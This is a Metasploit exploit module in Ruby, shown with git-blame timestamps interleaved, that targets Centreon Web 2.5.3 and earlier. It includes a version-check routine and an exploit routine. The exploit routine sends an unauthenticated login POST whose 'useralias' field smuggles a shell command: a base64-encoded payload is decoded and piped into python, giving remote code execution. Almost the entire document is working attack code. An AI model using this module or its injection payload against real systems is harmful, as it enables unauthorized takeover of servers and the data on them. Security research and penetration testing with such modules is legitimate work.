2016-06-12 00:57:18 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2017-07-14 07:19:50 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
2016-06-12 00:57:18 +00:00
|
|
|
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
2016-06-13 22:52:25 +00:00
|
|
|
Rank = ExcellentRanking
|
2016-06-12 00:57:18 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(
|
|
|
|
update_info(
|
|
|
|
info,
|
2016-06-13 23:07:14 +00:00
|
|
|
'Name' => 'Centreon Web Useralias Command Execution',
|
2016-06-12 00:57:18 +00:00
|
|
|
'Description' => %q(
|
|
|
|
Centreon Web Interface <= 2.5.3 utilizes an ECHO for logging SQL
|
|
|
|
errors. This functionality can be abused for arbitrary code
|
|
|
|
execution, and can be triggered via the login screen prior to
|
|
|
|
authentication.
|
|
|
|
),
|
|
|
|
'Author' =>
|
|
|
|
[
|
2016-06-13 22:52:25 +00:00
|
|
|
'h00die <mike@shorebreaksecurity.com>', # module
|
2016-06-12 00:57:18 +00:00
|
|
|
'Nicolas CHATELAIN <n.chatelain@sysdream.com>' # discovery
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'EDB', '39501' ]
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
2016-06-13 22:52:25 +00:00
|
|
|
'Platform' => ['python'],
|
2016-06-12 00:57:18 +00:00
|
|
|
'Privileged' => false,
|
2016-06-13 22:52:25 +00:00
|
|
|
'Arch' => ARCH_PYTHON,
|
2016-06-12 00:57:18 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic Target', {}]
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Feb 26 2016'
|
|
|
|
)
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(80),
|
|
|
|
OptString.new('TARGETURI', [ true, 'The URI of the Centreon Application', '/centreon/'])
|
|
|
|
], self.class
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
begin
|
|
|
|
res = send_request_cgi(
|
|
|
|
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
|
|
|
'method' => 'GET'
|
|
|
|
)
|
2016-06-17 01:09:56 +00:00
|
|
|
/LoginInvitVersion"><br \/>[\s]+(?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+<\/td>/ =~ res.body
|
2016-06-12 00:57:18 +00:00
|
|
|
|
2016-06-17 01:09:56 +00:00
|
|
|
if version && Gem::Version.new(version) <= Gem::Version.new('2.5.3')
|
|
|
|
vprint_good("Version Detected: #{version}")
|
2016-06-12 00:57:18 +00:00
|
|
|
Exploit::CheckCode::Appears
|
|
|
|
else
|
|
|
|
Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
rescue ::Rex::ConnectionError
|
|
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
begin
|
|
|
|
vprint_status('Sending malicious login')
|
|
|
|
send_request_cgi(
|
|
|
|
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
|
|
|
'method' => 'POST',
|
|
|
|
'vars_post' =>
|
|
|
|
{
|
2016-06-13 22:52:25 +00:00
|
|
|
'useralias' => "$(echo #{Rex::Text.encode_base64(payload.encoded)} |base64 -d | python)\\",
|
2016-06-12 00:57:18 +00:00
|
|
|
'password' => Rex::Text.rand_text_alpha(5)
|
|
|
|
}
|
|
|
|
)
|
|
|
|
|
|
|
|
rescue ::Rex::ConnectionError
|
|
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|